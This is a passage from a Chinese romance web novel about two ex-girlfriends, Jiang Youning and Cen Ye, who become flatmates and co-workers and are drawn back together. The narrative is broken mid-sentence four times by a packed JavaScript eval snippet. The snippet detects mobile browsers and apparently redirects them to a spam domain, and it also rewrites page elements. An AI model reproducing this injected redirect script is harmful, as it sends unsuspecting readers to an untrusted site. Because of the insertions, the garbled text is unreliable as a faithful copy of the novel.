女人的表情越发冷淡,姜又柠的每个字都在告诉她,她们不熟。 对熟悉的人,姜又柠嚣张得很,就像过去那样。 而对不想亲近的人,姜又柠礼貌又乖巧,谁见了都说是个内敛低调的老实姑娘。 “剩下五千就算了,正好我要添些家具,我单独用不太合适。”岑曳收了钱,将浴巾重新系了下朝着卧室走,“好了,晚安,有什么事情明天再说。” “五千够吗?”姜又柠思索了下,岑曳买的家具肯定都要贵一些的,“不过也行吧,那我就先不给你转了。” 她目送着女人离开,后知后觉地意识到添置家具…… 那她还得另外转钱啊…… “喂!岑曳!你算错了吧?”姜又柠拍了拍她的门,又不好打扰她作息,只能作罢了。 从下班回来折腾了好几个小时,这会儿都要零点了,姜又柠快速地洗了个澡,老老实实地用刮水器将地面上的水弄干净,还将自己的洗发水之类的用品全部摆放整齐。 微信上收到江诗文的消息,问了她跟岑曳合租的情况。 姜又柠草草复原了下,顺便吐槽了几句岑曳的毛病。 【江诗文:她就是这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506915|186109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个性格嘛,不过不算坏事儿。】 【姜又柠:你说我是不是该谈个恋爱了?】 本来是秒回的江诗文这下没了音儿,姜又柠思索着自己该不该把这句话给撤回。 【江诗文:还没换季呢?这就缺人暖被窝了?】 【姜又柠:这不是需要转移注意力吗?】 据说低迷的情绪不能只靠缓解,要寻找新的来替代它。 【江诗文:你要转移什么注意力?什么注意力需要谈恋爱来转移?】 姜又柠的手指在屏幕点了点,不知道怎么解释。 说多错多,姜又柠最后回了一句【我今晚应该吃错药了】就结束了话题。 - 半夜姜又柠去客厅拿着杯子接水喝的时候看见次卧的门是半掩着的,灯开的是暖光。 她站在饮水机旁,好奇地往那边看。 茶几上还放着打开的电脑,下一秒岑曳就穿着墨绿色的睡衣走了出来。 “你还在忙工作吗?”姜又柠的声音有些哑,她咳嗽了几下又咕咚咕咚往肚子里灌水。 “新项目的事情是会多一点。”岑曳将电脑合上,捂着嘴巴打了个哈欠,这才开始正眼打量姜又柠。 姜又柠穿着宽松的睡裙,松松垮垮的。 她睡觉喜欢裸/睡,睡裙是出来接水临时往身上套的。 要不是家里有别人在,她能直接把穿衣服去客厅这条给省了。 “你这么晚没休息也是有正经事要忙?”岑曳似乎很有兴趣在半夜跟她开启新的话题。 姜又柠困得很,“没有啊,我就是起夜。” “我还以为你在跟暧昧对象彻夜长谈呢。”说完女人便抱着电脑回了卧室,之后灯便关掉了。 姜又柠眨眨眼睛,没搞明白。 重新在床上躺下的时候,她看了眼时间,凌晨两点多了。 下意识点进微信的时候,才发现朋友圈那里显示‘有朋友提到了你。’ 江诗文几个小时前发了条朋友圈,是一张她们的聊天截图,只码掉了备注。 【好闺蜜要提前半年入冬,找个预制女朋友,会暖床就行。】 好死不死,岑曳给这条朋友圈点了赞。 明明岑曳是她前任,明明姜又柠只是随口一提,根本没有要找女朋友的意思,她怎么还是有一种偷情被抓到的感觉? 这种玩笑似的朋友圈实在常见,要江诗文删掉又太刻意了,倒弄得姜又柠格外纠结。 翻了个身想想,姜又柠觉得自己没必要纠结。 岑曳就是点个赞而已,她东想西想的做什么? 她跟暧昧对象彻夜长谈怎么了? 她就是谈八百个女朋友都跟岑曳没有关系! 12.第 12 章 第二天姜又柠特意起得很早,果不其然,岑曳已经坐在餐桌边慢条斯理地吃着三明治。 姜又柠扯扯唇,反正她不爱吃三明治,洗漱好之后就去门口将自己点好的豆浆油条外卖拿了进来。 “起得挺早的。” 语气轻飘飘的,听不出是夸赞还是嘲讽。 “我每天都起这么早。”担心碎渣子掉上去,姜又柠抽了两张纸垫在桌面上。 要不是岑曳在,她吃饭哪里用得着这么小心翼翼? “起得晚也没关系,反正可以补卡,对吧?”岑曳悠悠开口,“哦,我差点忘了,这个月的次数你已经用完了。不过没关系,马上就是新的一月了。” 自知理亏,所以姜又柠大度地不跟她计较。 跟新室友同吃的第一顿早餐不出意外地很沉默,也没有人提起江诗文那条朋友圈。 岑曳有什么火气会自己调解的,姜又柠才懒得理她。 两个人前后脚出了门,姜又柠按下了电梯,余光瞥见岑曳跟了上来。 干等着电梯没事做,不开口说话又尴尬,姜又柠便问,“你车子洗好了?” “周五。” “奥对,你昨晚跟我说了。”姜又柠说,“那你怎么上班?打车?” 岑曳停了几秒钟,“……坐地铁。” 姜又柠扬了扬唇,这位尊贵的大小姐怕是没见识过早高峰的地铁。 电梯到了之后,岑曳说了句‘稍等我一下’就急匆匆往家门口走。 “喂!你事情好多。”姜又柠只能按住电梯,两个人一起挤进去的时候她才又问,“干嘛去了?” “看看门锁了没有。” “忘记锁了?” “那倒没有,只是我担心没锁而已。” 姜又柠叹口气,“要不你还是去医院看看吧,太影响你生活了。” “担心我?” 姜又柠挠了挠耳朵,要不是这会儿电梯里人很多,她真的很想挤到角落里表示跟旁边这个女人不熟。 “我现在是你室友,你强迫症太严重也会影响到我的。” “尽量改。” 聊到正经事儿上,女人倒是平静了很多。 小区走一百米就是地铁口,此刻人群正大批量往里进,两个人站上直行电梯,岑曳在支付宝里搜索着地铁卡。 姜又柠好奇地看一眼,“很挤的,你坐得习惯吗?” “你习惯得了,我就可以。” 姜又柠不理她,不知道她是哪里来的莫名其妙的攀比心。 一辆地铁的关门提示音正好响起,岑曳看着拥挤的人群眉头渐渐皱了起来。 前面是运不完的人,后面的电梯是源源不断下来的人。 第三趟地铁门打开,姜又柠嫌她反应慢,拽过女人的胳膊,“再不挤进去要迟到了!” 拥挤的人群里充斥着各种味道,早餐的芳香,封闭的闷臭…… 只熬了一站,岑曳就冷着脸将姜又柠拉下了车,“跟我打车去。” “两块钱都扣了,只坐一站太亏了!”外面依旧是人群,姜又柠站不稳,被她单手搂腰扶了下,惊乍的语气立刻软了,“除非,除非你付打车的钱……” 早高峰的车很好打,甚至还是自动门,两个人一起坐上了车子后排。 后排只有两个分开的皮椅,女人坐上去调整了下高度,半躺着阖了眼。 姜又柠有模有样地学着她舒舒服服地躺下,她还没打过这种高级车呢。 她跟司机说了声,自己不准备跟岑曳一起在楼下下车,距离办公楼还有一个路口的时候,车子就停了。 楼下很多早餐店都比承包的餐厅要便宜,这个时间到已经算踩点了,要是跟岑曳一起出现,绝对会碰见同事的。 那群人总会买了包子打完卡,边吃边聊,慢悠悠地上楼。 等姜又柠坐到工位上的时候,就看见小群里说岑曳早已经到了办公室,总部那边有个视频会议要开,文件先交给助理。 昨晚那么晚还没睡也是在忙这个事情吗? 邮箱爆满,姜又柠叹了口气,开始了繁忙的一天。 - 会议室内,岑曳身穿黑色西服,长发束在身后,面容严肃,穿着打扮一丝不苟。 视频会议不仅包括了总部负责国内外业务线对接的管理人员,还有几位公司高层。 岑曳淡淡扫了眼岑千兰,视线落在了自己手上整理好的文件中。 总部那边要重新拓展国内业务的时候,很少有人主动站出来表态。 毕竟之前有过失败的先例,没人愿意收拾这个烂摊子,唯有岑曳一个人愿意揽下这个任务。 公司里的人都知道,她的母亲岑千兰一路打拼到副总,目前把岑曳也提携到身边,就是为了日后能有人接下她的重担。 以岑曳的能力,没有人会有任何怨言,但她放着铺好的路不走,非要去国内开拓新业务。 这个举动,属实意料之外。 会议人员都到齐之后,岑曳先是就近期部门里的状况简单做了一个汇报,人员流动以及分工和已经提上日程的项目。 “大额采购的供应商那边目前还在谈判,最晚下个周末,确定好价格和交货期之后,我会同步到总部那边的负责人进行对接。” “如果有可能的话,我希望总部那边跟我对接的负责人能够实地勘察几次。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513144|186109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“国内其它部门也在有条不紊地进行,我希望总部给我一个确切的答复,其它部门的零碎工作是否可以自主完成,而不是扔到我们这边影响我们新项目的开展。我之后也会跟其它部门的领导私下找个时间沟通几次。” 如果不是岑曳空降,这个部门就是全部被裁的命,不过既然她来了,就该做好部门领导该做的事情。 是部门职责范围内的事情她们部门的人会按时完成,不该是她们做的,她有责任把这些工作剔除掉。 而不是跟踢皮球一样,其它部门都不肯接,最后全扔到这边,什么都没能解决。 汇报结束,某高层接下话题,先是肯定了岑曳的能力,随后又表达了对岑曳开展新业务的信心,对于岑曳的请求倒是轻飘飘略过,说了一些套话之后就让下一个部门负责人进行发言。 岑曳抿唇,这段话里提炼不出一句有效信息。 总部那边的人私下估计都高兴得很,这么个烂摊子能有人主动接手。 她看向右上角的岑千兰,母女俩在屏幕中对上视线,说不出是什么情绪。 她不止一次反抗强势的岑千兰,小时候逃避她报的一堆课,高考之后不去读她建议的国外高校,甚至在她的眼皮子底下跟姜又柠谈恋爱…… 岑曳不认为自己做过错的选择,她从不自谦,她现在的能力都是自己磨炼出来的,跟岑千兰是有关系,但没那么深。 不去补习班也能名列前茅,就读国内高校也能拿下名师推荐,唯独跟姜又柠恋爱…… 是她唯一不是奔着反抗岑千兰去做的事情。 岑千兰告诉她,‘你明明有更好的选择,更好的出路。’ 什么意味着更好? 岑曳认为,她喜欢的才是最好的。 没选择的那条路,她从来不考虑,更不会去美化。 这个跨国视频会议持续了两个半小时,岑千兰作为旁听的高层,从始至终没有说过一句话。 负责会议的主持人宣布散会之后,每个人陆陆续续退出了会议,很快就只剩下两个窗口。 岑曳不喜欢这种母女两人面对面的时刻,正准备关掉视频的时候就听见岑千兰开口,“开拓国内的新业务到底是为了向总部证明你的能力,还是为了别的,你自己心里清楚。” 对面比她要先挂掉,岑曳深吸一口气,面容上涌现了些许疲惫。 在回国之前,她跟岑千兰约定好,如果部门没能发展起来,她这辈子都要留在总部工作,再也没有回国的可能。 岑曳在赌,她压上自己的一切、压上自己的后路和情感,赌姜又柠依旧爱她。 她自认为从未做过错的选择,但愿这次依旧如此。 13.第 13 章 部门新颁发了一条规定,要进行月度绩效考核,月末会根据考核进行部门优化。 这条规定一出,小群内的消息又99+了。 【谁当初说总部那边也不都是业界毒瘤的?这才来半个月,开了多少人了?】 【还不如把整个部门优化掉,我努力一个月最后被开了算怎么回事儿?】 【还不如之前那几个领导呢,混混业绩顾着自己高升,这儿都是一滩死水了,只会越搅越臭。】 【早上那个视频会议总部上压力了吧?一层层剥削是这样的。】 【行了,说话都注意点,保不准这群里已经有内线了。】 姜又柠草草浏览几条,将注意力放回了自己的工作上。 部门里混吃混喝的人确实不少,不过姜又柠没想到岑曳会如此果断,毫不留情。 距离午饭还有半个小时前,岑曳从办公室里走出来,“业务线的几个组长单独过来跟我开个会。” 她没有让助理通知,反而站在原地扫视了一圈,“还是那句话,有问题直接来办公室找我,只要是上班时间我都在。” 众人目送着岑曳的身影进了会议室之后,才纷纷开始低声交谈。 江诗文从抽屉里拿出一个笔记本,“早知道上半年选组长的时候我就不报名了,还以为能多拿一千块钱呢,谁知道岑曳空降了。” “我都跟你说了嘛,小组长事儿挺多的,你小金库那么厚不至于为一千块钱担忧啊。”姜又柠安慰她。 “我这不是想证明一下我离开家自己也能活嘛。”江诗文看了眼时间,“这会没一个小时开不完,热气腾腾的午饭又吃不上了。” 她要姜又柠帮她点昨天的外卖,自己迈着步子去了会议室。 姜又柠撑着下巴,感慨一句幸好当初自己没听江诗文的‘洗脑’,要跟她一起竞争小组长。 不然现在,现在要面对岑曳这个魔爪的人还不一定是谁呢。 - 散会之后就快一点了,江诗文的表情格外严肃,“这次还真不是岑曳的决定,总部那边确实施压了,柠柠,你下个月还是好好干,少摸鱼。” “我本来就很少摸鱼。”姜又柠如实回答。 她来到这家公司之后,不少老人都把工作扔到新来的员工头上要她们去做,姜又柠能推的都推了,推不掉的也都耐下心思去做了。 相比于上一家公司的疯狂加班,这些工作量已经属于大幅减少了。 “刚刚散会我私下跟岑曳姐聊了几句,总部那边也会派人过来勘察,就这一两周的事情。”江诗文吃着冷掉的饭,描述着大致的状况,“新项目是只准成功不准失败的,不然她可能又要被调回总部去了。” “啊?”姜又柠以为自己是该乐一下的,但听到岑曳可能会被调走,心里莫名涌上了一股复杂的滋味。 “现在所有的事情都只是初步阶段,很多地方我也不太清楚。” 姜又柠点点头,将自己的折叠床打开准备开始午休。 一旁的总监办公室内,岑曳连吃饭的心情都没有。 开了一上午会议,总部那边虽然表面上肯定她,但如果做不出实绩来,她最后只能任凭岑千兰处理。 电话打过来,是一个清朗的女音。 ——“岑曳,听说你已经回国工作半个月了,还适应得了吗?” “庄玟?总部告诉我,下午跟我对接的负责人会主动跟我打个电话,该不会是你吧?” ——“你还是很聪明。” 岑曳轻笑了下,“谢谢你啊,知道是你,我就放心多了。” 庄玟是她初到总部时交的好友,小时候也见过几次,不过不怎么熟悉,两个人的母亲都是公司高层,所以私下见面次数也很多。 两个人能力都不错,家境也好,即为合作伙伴,也是公司内一同的竞争好友。 如果负责对接的是庄玟,那么代表总部倾注的资源又多了些,是抱着必赢的决心才又一次来开拓国内新业务线的。 ——“你不用谢我,我也有自己的私心。负责国内新业务的对接也是我主动请缨的,母亲和江阿姨都在催着,我只能找个顺理成章的借口回国。”庄玟顿了下,“你已经见到诗文了吧?” “她说,要我向你保密她的行踪。” ——“保密吗?她在国内的一举一动家里人都知道,只不过知道她平安就好,没人有那个精力跟她回旋。”庄玟冷笑了声,“国内的求职市场求远远大于供,要不是跟人事那边打了声招呼,以她的资历还过不了我们部门的面试。” “等你回国之后,我们私下见个面叙叙旧吧。”岑曳目前也没有心思参与别人的感情关系,她自己这里还是一团乱麻。 挂了电话之后,她坐在办公椅上揉了揉眉心。 没心思吃饭,也没心思睡觉。 她的强迫症较于以往的确轻了不少,过去她会常常想着自己的衣服有没有被弄脏,十分钟之内反复思考手应不应该去清洗,对于所在环境之内肉眼必须看不见任何灰尘…… 她尝试着缓解自己的毛病,开始转移注意力。 在跟姜又柠分手之后,每次让她反复纠结的不再是这些小事,而是彼此互相说出难听话的那几个瞬间,随后,她会幻想着矛盾解除之后,她们甜蜜复合的场景。 如此往复,将结痂的伤口血淋淋地撕开,再用幻想上药恢复,简直令人上瘾。 在重新见到姜又柠之后,她上瘾的幻想就又变了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16518096|186109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变成她幻想着姜又柠的双唇是否还跟过去一样柔软香甜,她们同床共枕时她用力抱住她不肯松开的场面,甚至两具身躯紧紧贴合时,姜又柠抑制不住的低吟…… 一切曼妙的幻想都令她着迷。 合租的那套房子,她会一遍遍打扫保证姜又柠的居住环境一尘不染,出门后反复确认门已经上锁保证她们的家尽量是安全的…… 过去岑曳认为她过分的强迫症只是一个小毛病而已,无伤大雅,现在这种强迫症被她转移成对姜又柠的病态思念,甚至性/幻想。 别的都不重要,她不会纠结,只是跟姜又柠相关的一切,她都会一遍遍在脑子里反复琢磨。 她好像确实是病了,唯一能解的药就是跟姜又柠复合。 - 傍晚下班,姜又柠算了算自己的工作量,还是决定加班。 明天周五她要去把最后一点行李搬完,不能耽误时间。 半个多小时过去,周围就陆陆续续没什么员工了,她狂喝了一大杯水上了个卫生间,叹口气继续痛苦地坐了下来。 忙了整整一天,连口水都喝不上。 总监办公室的灯还亮着,岑曳应该比她更忙吧? 姜又柠很快停止跑神重新集中了注意力,直到身后传来了脚步声。 女人的身影微妙地在她身后落下来,一只修长白皙的手指着屏幕,“这些工作不是你该负责的,是谁交给你的?” “我一直在做啊,你离我这么近干嘛……?”姜又柠别扭地往前缩了下,感受到女人站直了身体之后才坐正,“零碎的工作是别的部门扔过来的,我的工作是老员工扔过来的,不都是一层层剥削吗?反正我也能做得完。” “不属于我们部门的工作以后不会再做了,浪费时间的重复性工作我也会让人事外包出去。”岑曳的手搭在她的椅背上,“之后我们部门人员精简之后,只针对性办公。” “真的?”姜又柠的笑容只维持了一秒,“那我还是得努力做完,万一我被精简出去怎么办?不是你说的吗?绩效不够就要被优化掉。” 她抬起眼睛,用亮晶晶的眸光看向岑曳,似乎想要在女人那里偷偷挖出一个小小的后门,“我如果做的不好的话,也会被炒掉吗?” “会。” 岑曳肯定的回答让姜又柠再次将注意力放在了电脑上,“那你就别跟我说话浪费我时间了,我不想再把加班时间延长了。” “但我相信你能做到的,柠柠。” 开后门这种事情,她的职业素养不允许她这么做。 可她在私人感情这方面,却可以允许自己在家里开小灶。 女人轻轻拍了几下姜又柠的肩膀,“忙完之后来办公室找我,我们一起回家。” 14.第 14 章 这种感觉非常奇怪,姜又柠自认为自己是不想跟岑曳一起下班的,但还是加快了工作的效率,准确无误地敲响了总监办公室的门。 她真应该庆幸这会儿公司里人都走完了,不然被同事看到了还真不好说。 岑曳见她来,拿起车钥匙就准备往外走,一秒都没浪费,像是早就在这里忙完等待似的。 姜又柠跟在她后面,“今天是你喊我的,我才跟你一起下班的。” “那我之后再喊你。”岑曳等她进了电梯,按下了负一楼,“明天不是要去搬家吗?” 姜又柠奇怪地看她一眼,“不用,让同事看见了多不像话啊。” “看见怎么了?跟室友一起下班,也很正常吧?”岑曳面色平静,转而嘴角含笑看她,“还是说,我们之间另有什么不可告人的关系?” 电梯门适时打开,姜又柠瘪瘪嘴率先往外面走,意识到这是地下车库之后才问,“你车子不是明天才洗好?” “换了辆车。”不远处的车子倏地响了下,岑曳甩了甩手里的车钥匙,示意她走。 “这周换的?哪儿来的时间看车?你去4s店了?” 姜又柠仔细回忆了一下,跟岑曳住的这几天,所有行踪她都在偷偷地密切关注,没见这个女人特意出门过啊。 “只要你的钱够多,车子总会自己开到你面前不是吗?”岑曳为她拉开副驾驶的门,“一辆Macan而已。” “……而已。”姜又柠不懂什么牌子车,反正她都买不起。 不过坐上还是很舒服的,姜又柠忍不住露出一丝笑意,不过将视线挪到了窗外,不想让身边的女人看见。 “想吃什么?”岑曳问她,“我刚回来没多久,不知道这里变化了多少。” 好车配好饭,姜又柠热情地推荐了一家川菜。 “这家饭店的味道也很浓,不知道你能不能习惯。” 岑曳流利地输入导航,“可以,走吧。” “你现在好像不是很介意这些很重的味道?”姜又柠第一次对岑曳产生新的好奇。 过去在岑家的时候,岑曳对灰尘和味道都很敏感,时时刻刻都要保持清洁。 “我跟你说过的,我的状况要比以前好很多。” “我看是分情况吧……?”她可是对前几天岑曳打扫家里房子的场面印象深刻,差点都要掘地三尺了。 “确实分情况。”女人的神色淡了很多。 她现在的强迫症减轻了,也转移了,变化为一种强迫观念。 只要跟姜又柠有关的,她根本抑制不住自己某些状况下的心思和反应,越是压抑,就越是难忍,最后逼到临界点,就变成了对自己的一种厌恶,厌恶自己什么都做不到。 这家川菜馆除了招牌菜之外,还有些特色海鲜菜。 姜又柠是喜欢吃海鲜的,不过难处理,也贵,所以吃得比较少。 这几年心情有比较特别的变化的时候,她会将这种高昂的情绪转化为消费欲,冲动性地吃一顿海鲜大餐。 晚上躺在床边,会一边后悔花了好多钱又一边拍着鼓鼓的肚子入睡。 岑曳知道她爱吃海鲜,除了几盘川菜之外,点了份白灼大虾和葱油蟹。 “点那么多吃不完的。” “处理干净打包放在冰箱里就好。”岑曳说,“你觉得不新鲜的不好吃的话,我会解决掉的。” 姜又柠觉得这女人转了性,一会儿跟她非要在嘴上功夫讨个输赢,一会儿又这么温柔,甚至可亲…… 岑曳一定有目的! 但她想不到。 菜上了桌,姜又柠拍了照之后发了条朋友圈,就闷头吃了起来。 上一次跟岑曳这样面对面吃饭,好像是很久之前的事情了。 女人挑了几只最大最饱满的虾放在碗里,戴上手套剥了起来。 “上一次了说还你人情请你吃饭,今天这顿饭我来买单。”姜又柠拍拍胸脯,实际上不动声色地在脑子里快速算了下帐看自己要吃几天泡面。 女人没什么特别的反应,“房子里有没有缺的家具或者电器的,我统一去买。” “我也能买。” “你买的那些我瞧不上。” 倒也不用说得这么直白。 “太贵的我用不上。”姜又柠回怼她,“A不起。” “允许你蹭,但……” 后面的话,岑曳没再继续往下说。 “我不用了。”姜又柠知道她说不出什么好话来,“我觉得家里的东西挺全的。” “我还没说条件呢,你万一会同意呢?” “我不卖身。” 岑曳笑出了声,“回头找个机会,我陪你去看看姜阿姨吧。” 姜又柠愣了下,很意外她的话。 她无措地眨了几下眼睛,“……我妈妈她,她应该……” 她应该不会想见你。 但这么残忍的话姜又柠说不出来。 “我妈妈她太忙了,她连我都没空见呢。”姜又柠快速编了一句,“我之前跟你讲过了呀,那个雇主阿姨特别喜欢旅游,要我妈妈跟着去呢。” 岑曳又不是什么没情商的小孩儿,当然能够听懂姜又柠没能说出口的深意,“回头我买些补品,你替我送过去 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姜又柠往旁边看了看,饭点正忙客人太多,身边没有空闲或者路过的服务员。 “我再去要几个创可贴!你等一下!”她嗔怪地看了女人一眼,小跑着离开了。 岑曳将手指举到面前,仔细看了看被清洁过的伤口,嘴角上扬了不少。 这顿海鲜总算没有白点,故意受些小伤口也非常有用。 不到一分钟,姜又柠就小跑着回来了,她依旧在她身边坐下,帮她贴上创可贴。 “在想刚才的话是不是不该说,现在的我行为处事好像总让你感到为难。” “没有啊……”姜又柠咬唇,抬眸看向她,一下子就被女人眸光中炽热的视线灼伤到。 她忍不住吞咽了下口水,坐回了自己的位子。 “你要是买的话,我……我会转交给我妈妈的。” 如果岑曳愿意主动走出那一步的话,她也没必要端着。 感情能不能复合倒是次要的,主要是两个母亲的关系,本来是互相尊敬且信任的,因为她们恋爱导致后来产生难以磨灭的矛盾,是她们两个的责任。 岑曳勾了勾唇,“如果这样,那就太好了。” 姜又柠看见女人眼神里没有任何遮掩的感动,倏地变得腼腆了些,她笑了笑,心里觉得怪怪的,但也没能琢磨到哪里奇怪。 岑曳将剥好的虾和蟹肉送到她面前,“负伤剥好的,你可一定要吃完啊,柠柠。” 15.第 15 章 姜又柠怎么可能会独吞岑曳的这份功劳,将碗放在两人中央一起共享。 岑曳夹起一只虾放到调好的酱汁里,翻了个面准备夹起来,却不小心掉了回去。 几滴酱汁溅到外面,姜又柠主动抽了纸巾将污渍擦掉了。 “抱歉,这个创可贴可能有点厚,我不太适应。”紧接着,岑曳试了第二次。 这次,虾还是没能夹起来,不过一点儿酱汁都没有溅出来。 带着负伤的愧疚,姜又柠夹起虾蘸了些调好的酱汁,将第一个虾放到了女人的碗里。 “谢谢。”岑曳笑了笑,夹起虾准备往嘴里送。 糟糕的状况发生了第三次。 姜又柠看得神色复杂,这简直是对美食的一种侮辱。 她蘸好了第二只虾的料送到女人嘴边,“你快尝尝!这家店超好吃!我之前吃过一次的!” 岑曳张开双唇将虾吃进了嘴里,姜又柠往后收回筷子的时候,筷子尖却被女人咬住了。 她怔愣地尝试了几下,很快就从女人的眸光看出了笑意,“岑曳?你故意的吧!” 女人松开了她的筷子,细嚼慢咽道,“什么故意?这个虾味道确实很不错。” “你刚刚就是在得寸进尺!”姜又柠深呼吸了下,这么快就又中招了。 她真是被岑曳指腹上那个小到不能再小的伤口被迷惑到了,不然她怎么可能看不出来岑曳的诡计? 她们之间是不能出现互相喂食的场景的。 仔细想想…… 她甚至都不该接受岑曳给她剥虾的。 “我们之间不能互相喂食!”姜又柠敢想敢说。 “是吗?”岑曳疑惑地反问她,“可我没有喂你吃饭哎。” 这话倒是把姜又柠给问住了。 “我喂你也不能。”她及时反驳。 “所以……是我主动吗?”女人佯装自己说错了话,扬了扬自己受伤的手指,“下次我会小心一些的,不然又要麻烦你了。” 这个小插曲导致后半顿饭姜又柠没再主动跟岑曳说一句话,直到女人将单买了,姜又柠才在自己准备上车的时候开口,不过声音细如蚊声,“……欠你两顿饭。” “嗯。”女人应了声,示意自己知道了。 - 回到家之后,姜又柠换了鞋子,懒洋洋在沙发上半瘫着,“好累哦……” 她瞄了眼跟在后面整理她扔在鞋柜上面的外套,‘哼’了一声翻了个身子正面躺着。 双手拍着吃饱的肚子,她嘴里忍不住哼着不成调的歌。 岑曳将两件外套都挂在了衣架上之后才去倒了杯温水润口,“这衣架松松垮垮的撑不住,回头我去买个新的组装一下。” “好啊,都可以。”吃饱后的姜又柠大脑懒得思考,岑曳那么会生活,她就听她的好了,偶尔花点钱买些贵点的家具没关系的,提高一下生活质量嘛。 反正岑曳会生活是因为她自己强迫症改不掉,又不是为了让她过得更好。 想到这里,岑曳装饰家里这件事在姜又柠那里变得更加理所当然了些。 “喝些温水吧,晚上吃太多海鲜,你的胃会不舒服。”岑曳在茶几上给她放下一杯热水就坐在了一边的餐桌上。 她打开手机,回了几条工作消息,又打了几通工作电话。 姜又柠闭上眼睛听着,无非就是些部门里的事情,偶尔夹杂一通英文电话,零星的几个常用单词和语气她也能听出来对方的关系跟岑曳不错。 “切。”她不屑地冒出了一个语气词。 还跟老外做好朋友呢,真厉害。 她的理科专业以及多年没有使用过的英文导致她现在只能问对方How are you了。 正在通话的岑曳顿了下,看了她一眼才继续跟对方交谈。 之后客厅内许久没有人再说话,静悄悄的,两个人都享受着难得又和谐的安宁。 须臾,依旧闭上双眼的姜又柠听见了不远处女人走动的脚步声。 那脚步声由远及近,最后停下来了。 姜又柠睁开眼,被弯下腰垂眼盯着自己看的女人吓得径直坐了起来,“干嘛?!” 岑曳意味不明地将水杯送到她唇边,“水凉掉了。” “我想喝我自己会喝。” “切。”女人的语气很轻,“不喜欢我帮你做事吗?” 姜又柠从她身旁爬着准备逃离,意识到她刚刚那一句迅速又不屑的嘲讽被她百忙之中听见了,还听得很清楚。 一只手拦腰将她抱回,姜又柠半靠在沙发上,被迫跟女人对视上,“你没喝酒吧?” 记忆中,她跟岑曳的酒量都一般,不算好也不算差,所以为数不多的几次一起喝酒的时候,都会一起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16528460|186109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喝醉,然后做一些疯狂的事情。 在疯狂的事情开始之前,她们的面容就像现在这样近在咫尺,岑曳会认真端详着她的眼睛、鼻子还有一双柔软的唇,用那双魅惑般宛若狐狸的眼睛一遍遍描绘她的五官。 “倒是想喝。” 要是真喝醉了,某些幻想中的事情说不定就可以顺其自然的发生了。 可是她现在的脑子很清楚,所以她有自控力。 但自控力不多,她忍不住想要跟她贴近。 “刚刚,我的一位朋友跟我聊了些她的趣事,你想听听吗?” “什,什么……?”姜又柠不耐地扭了扭身子,肩膀上就落下了女人的手。 掌心隔着薄薄的衣料,温热渗透进肌肤里。 女人笑道,“我还以为你听懂了,高估了你的英文水平吗?” “你爱说不说!”姜又柠愤愤地想要推开她,却被再次按住动弹不得。 “她说,她跟她喜欢的人分隔两地,问我该怎么缓解这种思念的情绪?” “她喜欢的人是你?!”姜又柠的声音一下子就大了。 按照普遍意义来说,一般这种情况下,都是暗恋却无法明说的故事,岑曳在故事中要么是被爱却不知晓的主角,要么是知道被爱却故意玩弄对方的高手。 无论是哪种情况,都令姜又柠非常不爽。 “怎么会呢?”岑曳无奈地笑了笑,“我只是想到了一些事情。” 想到了那些年她在国外,她是怎么独自缓解思念这种情绪的。 她不想回忆分别和争吵时的痛苦,却忍不住在脑子里一遍遍想,如同自虐般,心脏发酸、抽痛。 “我才不信。”姜又柠分别回答她,“你想到了什么?” 女人依旧盯着她,舔了下唇,视线和指腹都在姜又柠的唇上来回摩挲,“你想知道吗?” 姜又柠又一次不知道该怎么回答。 岑曳的每一次问话都好像在暗示她,如果想要得到确切的答案,是需要付出代价的。 姜又柠的脑子僵了好久,吃饱喝足后她的脑子真的太迟钝了,居然贴近了这么久才想到她们不该这样。 “岑曳,我们不是可以距离这么近的关系……” 岑曳抚着她双唇的手停了,随后松开,脸上的笑意散了。 “抱歉,我之后会保持合适的距离。” 16.第 16 章 工作一旦忙起来就会觉得时间过得飞快。 姜又柠早上故意起早了些,没跟岑曳一起出门。 晚上做了不算太好的梦,梦里把她们在沙发上近在咫尺之后的事情做了好多遍。 她没脸面对岑曳,也想不通这女人那个时候到底怎么了。 